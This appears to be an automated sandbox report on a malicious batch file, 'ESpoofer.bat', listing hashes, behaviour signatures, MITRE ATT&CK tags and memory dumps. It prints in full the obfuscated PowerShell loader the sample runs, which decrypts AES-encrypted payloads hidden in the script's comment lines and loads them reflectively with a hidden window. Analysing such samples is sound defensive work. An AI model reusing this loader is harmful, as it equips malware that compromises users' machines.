45613b094a63904db97d394d40574ccb60444990924fa9df1ed19dfc6d4da766

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
23-01-2025 19:09

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General

Target

ESpoofer.bat
Size

291KB
MD5

3726560b7e2b96b268c25f0e6ee93e87
SHA1

a80b2477598d41baca9b013df935750dc7fb35a8
SHA256

45613b094a63904db97d394d40574ccb60444990924fa9df1ed19dfc6d4da766
SHA512

7f81dd73d85f6fcf1210830f5259d22095037dce5613fc397a983a11c079cbf77c74e2464e8be461f2455354e08949c4a74439e8fc0cd2efff43ff7a034bf34a
SSDEEP

6144:4kQLbp6z5Ary1l3qgJDeKGImDRg1Y28MxBNQdyWCbY5pepzJhMfgS:4Np6lZn3qgJ/GXDR6ZfxBNKTCbjFsJ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe

Deletes itself 1 IoCs

pid	Process
908	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 2328	908	cmd.exe	30
PID 908 wrote to memory of 2328	908	cmd.exe	30
PID 908 wrote to memory of 2328	908	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ABSkg3c5RdTlVVO+LETYiwnY5IUi/Oxvvu/3j8Eh8LA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gpFC2eKYPgwT0m8KOwt5yA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BiwtT=New-Object System.IO.MemoryStream(,$param_var); $lwmkR=New-Object System.IO.MemoryStream; $GsgDc=New-Object System.IO.Compression.GZipStream($BiwtT, [IO.Compression.CompressionMode]::Decompress); $GsgDc.CopyTo($lwmkR); $GsgDc.Dispose(); $BiwtT.Dispose(); $lwmkR.Dispose(); $lwmkR.ToArray();}function execute_function($param_var,$param2_var){ $pSmqn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fxjIB=$pSmqn.EntryPoint; $fxjIB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat';$MmrVi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat').Split([Environment]::NewLine);foreach ($LjtcW in $MmrVi) { if ($LjtcW.StartsWith(':: ')) { $MhzlL=$LjtcW.Substring(3); break; }}$payloads_var=[string[]]$MhzlL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2328-4-0x000007FEF57FE000-0x000007FEF57FF000-memory.dmp

Filesize
4KB

Download
memory/2328-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2328-7-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2328-9-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-10-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-8-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-11-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2328-12-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Filesize
9.6MB

Download